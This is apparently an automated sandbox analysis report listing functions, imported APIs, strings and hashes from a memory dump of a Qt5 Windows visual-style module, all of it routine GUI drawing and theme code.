Instruction ID: 9c7c5d228c4683cd53c715b551f188a247c7102e422c40bf0f5f9fbdec36b061
Opcode Fuzzy Hash: 0b4b5d6bbde006c87cb7a5568188b9c3dc26477b2828ff20651058617986dc34
Instruction Fuzzy Hash: CA518632614E818AD725DF28E8446ED7760FB88BA9F404275DA4D47774DF7CD145C740

Function 00007FF8123190D0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00007FF812319133
DeleteObject.GDI32 ref: 00007FF812319140
GetDC.USER32 ref: 00007FF812319174
CreateCompatibleDC.GDI32 ref: 00007FF812319180
ReleaseDC.USER32 ref: 00007FF812319192
CreateDIBSection.GDI32 ref: 00007FF8123191EA
GdiFlush.GDI32 ref: 00007FF8123191F7
SelectObject.GDI32 ref: 00007FF81231920B
?qErrnoWarning@@YAXPEBDZZ.QT5CORE ref: 00007FF812319242

Strings

QWindowsXPStylePrivate::buffer(%dx%d), CreateDIBSection() did not allocate pixel data., xrefs: 00007FF812319236
(, xrefs: 00007FF8123191BB
QWindowsXPStylePrivate::buffer(%dx%d), CreateDIBSection() failed., xrefs: 00007FF812319224

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Object$CreateSelect$CompatibleDeleteErrnoFlushReleaseSectionWarning@@
String ID: ($QWindowsXPStylePrivate::buffer(%dx%d), CreateDIBSection() did not allocate pixel data.$QWindowsXPStylePrivate::buffer(%dx%d), CreateDIBSection() failed.
API String ID: 2305749066-3376248037
Opcode ID: 27aa081f31339c52a13bd3d4865cff7320e74609e730d31c7ae89faaf26ccfdf
Instruction ID: da9c5624ca8d70aecd6ea74f3c2ef8c08fd0641aed2032a54812ed87c7ba8140
Opcode Fuzzy Hash: 27aa081f31339c52a13bd3d4865cff7320e74609e730d31c7ae89faaf26ccfdf
Instruction Fuzzy Hash: 62416D32A19F8592EB5DCF25E9442E9B3A0FB88BA0F104275DE5D43760DF78E465CB00

Function 00007FF812325DCC Relevance: 16.7, APIs: 11, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF812325DF4
__scrt_initialize_crt.LIBCMT ref: 00007FF812325E39
_RTC_Initialize.LIBCMT ref: 00007FF812325E74
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FF812325E9A
__scrt_release_startup_lock.LIBCMT ref: 00007FF812325EC5
__scrt_fastfail.LIBCMT ref: 00007FF812325F2B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Initialize__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 3958738658-0
Opcode ID: d8fb14a3419e0ca02b9ce3a66261e56d3238f1298a327cef6a8f29b00657608b
Instruction ID: bf7966df626471ef6e2d043aaac44a0bfd18e4433c1d6e7895484ad1260f436a
Opcode Fuzzy Hash: d8fb14a3419e0ca02b9ce3a66261e56d3238f1298a327cef6a8f29b00657608b
Instruction Fuzzy Hash: BA81B321E0CE438AF6589B25A4412F962A0EF457E0F4483B5D94E477F6DFFCEA459B00

Function 00007FF812316540 Relevance: 16.6, APIs: 11, Instructions: 71windowCOMMON

Download Yara Rule

APIs

?pen@QPainter@@QEBAAEBVQPen@@XZ.QT5GUI ref: 00007FF812316543
??0QPen@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF812316551
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812316564
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF81231656D
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF812316580
?setPen@QPainter@@QEAAXAEBVQColor@@@Z.QT5GUI ref: 00007FF81231658C
?center@QRect@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF8123165A2
?center@QRect@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF8123165C8
?drawLines@QPainter@@QEAAXPEBVQLine@@H@Z.QT5GUI ref: 00007FF81231660C
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF81231661A
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF812316625

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$Pen@@$?center@?setBrush@@ColorColor@@Pen@Point@@Rect@@$?brush@?color@?darker@?draw?pen@Color@@@Group@1@Line@@Lines@Palette@@Pen@@@Role@1@@V0@@
String ID:
API String ID: 996211440-0
Opcode ID: f1e66f458d7ebdc935b70beb53d6a2ba59356c5ea284e5fbede81212b0b2d28d
Instruction ID: c2def9ae3ce2655d8fd98cb81870690e08210605369e2f4f466fd18ff4e4a2ce
Opcode Fuzzy Hash: f1e66f458d7ebdc935b70beb53d6a2ba59356c5ea284e5fbede81212b0b2d28d
Instruction Fuzzy Hash: C2316172A08A428BD715CF29E4442ADB7B0FB89BA4F504235DB4E47B68DFBCD545CB00

Function 00007FF812314D04 Relevance: 16.5, APIs: 11, Instructions: 48windowCOMMON

Download Yara Rule

APIs

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF812314D35
?color@QBrush@@QEBAAEBVQColor@@XZ.QT5GUI ref: 00007FF812314D3E
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF812314D52
??0QBrush@@QEAA@AEBVQColor@@W4BrushStyle@Qt@@@Z.QT5GUI ref: 00007FF812314D64
?setBrush@QPalette@@QEAAXW4ColorGroup@1@W4ColorRole@1@AEBVQBrush@@@Z.QT5GUI ref: 00007FF812314D7B
??1QBrush@@QEAA@XZ.QT5GUI ref: 00007FF812314D86
??0QStyleOptionToolBar@@QEAA@AEBV0@@Z.QT5WIDGETS ref: 00007FF812314D96
??4QPalette@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF812314DAA
?drawControl@QWindowsStyle@@UEBAXW4ControlElement@QStyle@@PEBVQStyleOption@@PEAVQPainter@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812314DC7
??1QStyleOption@@QEAA@XZ.QT5WIDGETS ref: 00007FF812314DD4
??1QPalette@@QEAA@XZ.QT5GUI ref: 00007FF812314DE1

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Brush@@ColorPalette@@$Color@@Style$Group@1@Option@@Style@@V0@@$?brush@?color@?darker@?draw?setBar@@BrushBrush@Brush@@@ControlControl@Element@OptionPainter@@Qt@@@Role@1@Role@1@@Style@ToolWidget@@@Windows
String ID:
API String ID: 3512791070-0
Opcode ID: 073b32600f2e9aa024834d92725b403252bbcdc94fbc86fcf8c8f634f6836b3b
Instruction ID: 421a8dca1dc9d94808a59573d9c8c293bd9a0604e133399c690a6c66d9ade5d9
Opcode Fuzzy Hash: 073b32600f2e9aa024834d92725b403252bbcdc94fbc86fcf8c8f634f6836b3b
Instruction Fuzzy Hash: 15216F32619E8286DB25DF21E8586ED7330FB84BA8F400271CA4E47A38DF7CE209C740

Function 00007FF8123193B0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

?platformNativeInterface@QGuiApplication@@SAPEAVQPlatformNativeInterface@@XZ.QT5GUI ref: 00007FF8123193BE
?invokeMethod@QMetaObject@@SA_NPEAVQObject@@PEBDW4ConnectionType@Qt@@VQGenericReturnArgument@@VQGenericArgument@@444444444@Z.QT5CORE ref: 00007FF8123194F4
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812319509
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812319513
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF81231952A
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812319534

Strings

createMessageWindow, xrefs: 00007FF812319415
void*, xrefs: 00007FF8123193D4
QString, xrefs: 00007FF8123193DF

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: String@@$GenericNativeObject@@$?invoke?platformApplication@@Argument@@Argument@@444444444@ConnectionInterface@Interface@@MetaMethod@PlatformQt@@ReturnType@
String ID: QString$createMessageWindow$void*
API String ID: 1666974659-152812606
Opcode ID: b5274aa86e8c04ae4bfcebe94bf25a91b7a3ad300792449d01cbe4597b60e837
Instruction ID: 99c3a360db63a0d23f2bd1d880ef6762d1db384b912b2395a8dd8e0cea38ebeb
Opcode Fuzzy Hash: b5274aa86e8c04ae4bfcebe94bf25a91b7a3ad300792449d01cbe4597b60e837
Instruction Fuzzy Hash: CF51BC32A14F9595EB01CF74E8912EC73B0FB98358F501366EA8D52968DF78D199C740

Function 00007FF812318210 Relevance: 15.3, APIs: 10, Instructions: 322COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF812325280: IsThemeActive.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325288
Part of subcall function 00007FF812325280: IsAppThemed.UXTHEME(?,?,?,?,00007FF812311952), ref: 00007FF812325292
Part of subcall function 00007FF812325280: ?instance@QCoreApplication@@SAPEAV1@XZ.QT5CORE(?,?,?,?,00007FF812311952), ref: 00007FF81232529C
Part of subcall function 00007FF812325280: ?isDarkMode@QWindowsStylePrivate@@SA_NXZ.QT5WIDGETS(?,?,?,?,00007FF812311952), ref: 00007FF8123252A7

?subControlRect@QCommonStyle@@UEBA?AVQRect@@W4ComplexControl@QStyle@@PEBVQStyleOptionComplex@@W4SubControl@4@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812318255

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: StyleStyle@@$?instance@?subActiveApplication@@CommonComplexComplex@@ControlControl@Control@4@CoreDarkMode@OptionPrivate@@Rect@Rect@@ThemeThemedWidget@@@Windows
String ID:
API String ID: 2068351892-0
Opcode ID: 742f46889dbf73f2d4903ae9e6d5a78c539e9bd83f1960cdf00690fdfb9bb3f5
Instruction ID: 6229ec985a2c714c09d3d38387bdf7423d101e857e6f6aa9cbba6b774d6852b1
Opcode Fuzzy Hash: 742f46889dbf73f2d4903ae9e6d5a78c539e9bd83f1960cdf00690fdfb9bb3f5
Instruction Fuzzy Hash: 1DD1DE72E18A418AE316CF74D5446ED77B0FB587A8F104336DE0AA3A64EB78E491CB00

Function 00007FF812323E00 Relevance: 15.1, APIs: 10, Instructions: 131windowCOMMON

Download Yara Rule

APIs

?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF812323E6E
?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812323EED
GetThemePartSize.UXTHEME ref: 00007FF812323F62
?toPoint@QPointF@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF812323FAA
?standardPixmap@QWindowsStyle@@UEBA?AVQPixmap@@W4StandardPixmap@QStyle@@PEBVQStyleOption@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812323FC2
??0QIcon@@QEAA@AEBVQPixmap@@@Z.QT5GUI ref: 00007FF812323FCF
?pixmap@QIcon@@QEBA?AVQPixmap@@AEBVQSize@@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812323FEA
??1QIcon@@QEAA@XZ.QT5GUI ref: 00007FF812323FF4
??1QPixmap@@UEAA@XZ.QT5GUI ref: 00007FF812323FFE

Part of subcall function 00007FF8123211E0: ?getHWNDForWidget@QApplicationPrivate@@SAPEAUHWND__@@PEBVQWidget@@@Z.QT5WIDGETS(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321228
Part of subcall function 00007FF8123211E0: ?allWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ.QT5GUI(?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812321242
Part of subcall function 00007FF8123211E0: ?isTopLevel@QWindow@@QEBA_NXZ.QT5GUI ref: 00007FF812321276
Part of subcall function 00007FF8123211E0: ?type@QWindow@@QEBA?AW4WindowType@Qt@@XZ.QT5GUI ref: 00007FF812321283
Part of subcall function 00007FF8123211E0: ?handle@QWindow@@QEBAPEAVQPlatformWindow@@XZ.QT5GUI ref: 00007FF812321291
Part of subcall function 00007FF8123211E0: GetDesktopWindow.USER32 ref: 00007FF8123212A9
Part of subcall function 00007FF8123211E0: ?dispose@QListData@@SAXPEAUData@1@@Z.QT5CORE ref: 00007FF8123212E3
Part of subcall function 00007FF8123211E0: ??0QMessageLogger@@QEAA@PEBDH0@Z.QT5CORE ref: 00007FF812321366
Part of subcall function 00007FF8123211E0: ?warning@QMessageLogger@@QEBAXPEBDZZ.QT5CORE ref: 00007FF812321376
Part of subcall function 00007FF8123211E0: OpenThemeData.UXTHEME ref: 00007FF8123213DD
Part of subcall function 00007FF8123211E0: ?toLocal8Bit@QString@@QEHAA?AVQByteArray@@XZ.QT5CORE ref: 00007FF81232140F

Part of subcall function 00007FF8123211E0: ?winId@QWindow@@QEBA_KXZ.QT5GUI ref: 00007FF812321381
Part of subcall function 00007FF8123211E0: SetWindowTheme.UXTHEME ref: 00007FF812321399
Part of subcall function 00007FF8123211E0: ?qErrnoWarning@@YAXPEBDZZ.QT5CORE ref: 00007FF8123213AA
Part of subcall function 00007FF8123211E0: DestroyWindow.USER32 ref: 00007FF8123213BC
Part of subcall function 00007FF8123211E0: ?constData@QByteArray@@QEBAPEBDXZ.QT5CORE ref: 00007FF812321418
Part of subcall function 00007FF8123211E0: ?qErrnoWarning@@YAXPEBDZZ.QT5CORE ref: 00007FF81232142A
Part of subcall function 00007FF8123211E0: ??1QByteArray@@QEAA@XZ.QT5CORE ref: 00007FF812321438
Part of subcall function 00007FF8123211E0: ??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812321446

?standardPixmap@QWindowsStyle@@UEBA?AVQPixmap@@W4StandardPixmap@QStyle@@PEBVQStyleOption@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812324030

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Window@@$Pixmap@Pixmap@@Style@@Widget@@@Window$Array@@ByteIcon@@StyleThemeWindows$?standardErrnoLogger@@MessageOption@@Private@@StandardString@@Warning@@$?all?const?dispose@?get?handle@?native?pixmap@?type@?warning@?winApplicationApplication@@Bit@D__@@DataData@Data@1@@Data@@DesktopDestroyFactor@Level@ListList@Local8MetricMode@1@OpenPartPixmap@@@PlatformPointPoint@Point@@Qt@@ScaleSizeSize@@State@1@@Type@Widget@Widget@@Window@Window@@@@Windows@
String ID:
API String ID: 926569356-0
Opcode ID: 3f763ed2f2f009e762b43256ef0c912e030b6c63674e5c8efbd41a157ef7f708
Instruction ID: 4e9a0c468b89a9c6c977c31f3ad810591dafa79c71b79f32aa2e49e0e1f10363
Opcode Fuzzy Hash: 3f763ed2f2f009e762b43256ef0c912e030b6c63674e5c8efbd41a157ef7f708
Instruction Fuzzy Hash: C6512E32A08B8189E725CB65E4053ED7371BF587E8F004376DE4D22A65DF78A18AC740

Function 00007FF8123227E0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?isEmpty@QRegion@@QEBA_NXZ.QT5GUI(?,?,?,00000004,00000002,?,?,00000000,00007FF8123197AA), ref: 00007FF812322809
??0QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812322872
?begin@QRegion@@QEBAPEBVQRect@@XZ.QT5GUI ref: 00007FF81232287B
?end@QRegion@@QEBAPEBVQRect@@XZ.QT5GUI ref: 00007FF812322887
?toRect@QRectF@@QEBA?AVQRect@@XZ.QT5CORE ref: 00007FF812322994
??YQRegion@@QEAAAEAV0@AEBVQRect@@@Z.QT5GUI ref: 00007FF8123229A5
??0QRegion@@QEAA@$$QEAV0@@Z.QT5GUI ref: 00007FF8123229C8
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123229D6
??0QRegion@@QEAA@AEBV0@@Z.QT5GUI ref: 00007FF8123229EC

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$Rect@@$V0@@$?begin@?end@A@$$Empty@RectRect@Rect@@@
String ID:
API String ID: 766501983-0
Opcode ID: 2b575f04c89809ca2d2f3f453d690b2ad47a68f3a0532a7f5691c1563de4d2bb
Instruction ID: f3d349789acf85c9d9e7bc948ec140472f3236b2a9d799de75e4c3ded50d22c8
Opcode Fuzzy Hash: 2b575f04c89809ca2d2f3f453d690b2ad47a68f3a0532a7f5691c1563de4d2bb
Instruction Fuzzy Hash: 22510821E2DF8589E6139B35A8112F56368BFBA7D4F00C372ED4E32675DF69A483C200

Function 00007FF812316F86 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812316F90
?cast@QMetaObject@@QEBAPEBVQObject@@PEBV2@@Z.QT5CORE ref: 00007FF812316FB5
??0QString@@QEAA@VQLatin1String@@@Z.QT5CORE ref: 00007FF812316FE8
?qt_qFindChild_helper@@YAPEAVQObject@@PEBV1@AEBVQString@@AEBUQMetaObject@@V?$QFlags@W4FindChildOption@Qt@@@@@Z.QT5CORE ref: 00007FF812317003
??1QString@@QEAA@XZ.QT5CORE ref: 00007FF812317011

Strings

qt_msgbox_buttonbox, xrefs: 00007FF812316FA2
qt_inputdlg_buttonbox, xrefs: 00007FF812316FCB

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Object@@$MetaString@@$?cast@FindV2@@$?qt_qChildChild_helper@@Flags@Latin1Option@Qt@@@@@String@@@
String ID: qt_inputdlg_buttonbox$qt_msgbox_buttonbox
API String ID: 156075413-2438614642
Opcode ID: 56abeedf9c40ae234931bb1b7f121b55bdb4c33ff6ce831097e916c049966558
Instruction ID: 2da4a6213d62a5a4886d115569b208ebdd7ec6724f4d35fa5e37fda7f7aeed87
Opcode Fuzzy Hash: 56abeedf9c40ae234931bb1b7f121b55bdb4c33ff6ce831097e916c049966558
Instruction Fuzzy Hash: CB412B32E08F818AF7168F68E8452E83770FB487A8F105265EE4D17A79EF78E185C740

Function 00007FF81231F848 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231F856
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF81231F880
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF81231F88C
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF81231F897
?drawLines@QPainter@@QEAAXPEBVQLine@@H@Z.QT5GUI ref: 00007FF81231F8D5
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231F8DE

Strings

@, xrefs: 00007FF81231F862

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$Brush@@ColorPen@@$?brush@?draw?restore@?setGroup@1@JoinLine@@Lines@Palette@@Pen@Pen@@@Qt@@Role@1@@Style@Style@3@Style@3@@
String ID: @
API String ID: 758486232-2766056989
Opcode ID: c93db73efca3b3e98e7584815f9ff1cc143afae0873368f2cd2bb7d449b681e3
Instruction ID: e9325f0e0b9383fe4f8b17673fea03696cbb55d71fb9cefb5e32176d82c76e4c
Opcode Fuzzy Hash: c93db73efca3b3e98e7584815f9ff1cc143afae0873368f2cd2bb7d449b681e3
Instruction Fuzzy Hash: 64214F76609A8186D726CF19F4442AEB7A0FB887B4F404225DF8D53B64DFBDD589CB00

Function 00007FF81231F95C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

?drawLines@QPainter@@QEAAXPEBVQLine@@H@Z.QT5GUI ref: 00007FF81231F8D5
?restore@QPainter@@QEAAXXZ.QT5GUI ref: 00007FF81231F8DE
?brush@QPalette@@QEBAAEBVQBrush@@W4ColorGroup@1@W4ColorRole@1@@Z.QT5GUI ref: 00007FF81231F96A
??0QPen@@QEAA@AEBVQBrush@@NW4PenStyle@Qt@@W4PenCapStyle@3@W4PenJoinStyle@3@@Z.QT5GUI ref: 00007FF81231F994
?setPen@QPainter@@QEAAXAEBVQPen@@@Z.QT5GUI ref: 00007FF81231F9A0
??1QPen@@QEAA@XZ.QT5GUI ref: 00007FF81231F9AB

Strings

@, xrefs: 00007FF81231F976

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Painter@@$Brush@@ColorPen@@$?brush@?draw?restore@?setGroup@1@JoinLine@@Lines@Palette@@Pen@Pen@@@Qt@@Role@1@@Style@Style@3@Style@3@@
String ID: @
API String ID: 758486232-2766056989
Opcode ID: f3406cae5ad64579441f3a47c4d15a6c7846e9acb22b47062c0f5e0da0898c6c
Instruction ID: 3c3126649cf8f37fbbab8a5eeb34bcc544fdd35e3b622d227a57eff8ad5419f3
Opcode Fuzzy Hash: f3406cae5ad64579441f3a47c4d15a6c7846e9acb22b47062c0f5e0da0898c6c
Instruction Fuzzy Hash: 02116D72609A4186E726CF19E4142AAB7A0FB887B5F404236DE8E53774DF7CE589CB00

Function 00007FF812321760 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF812321772
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF812321783
?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF812321790
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF8123217A8
?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF8123217BC

Strings

QAbstractItemView, xrefs: 00007FF8123217B2
QLineEdit, xrefs: 00007FF81232179E

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Widget@@$?inherits@?parentObject@@Widget@$Window@
String ID: QAbstractItemView$QLineEdit
API String ID: 493133685-1489152316
Opcode ID: 88e7479219e4533c88c3883da745b04df2c290eb31c9fe6953d790f421766a92
Instruction ID: 5820c13bdf4284810e430fdfb20bdb16bc802d02b8f139843114a2b929fd2a01
Opcode Fuzzy Hash: 88e7479219e4533c88c3883da745b04df2c290eb31c9fe6953d790f421766a92
Instruction Fuzzy Hash: 29016258F0DF4681FD598B1AB6441FA23A0AF89BF4F4852B4DD4D07B65DFACE4458200

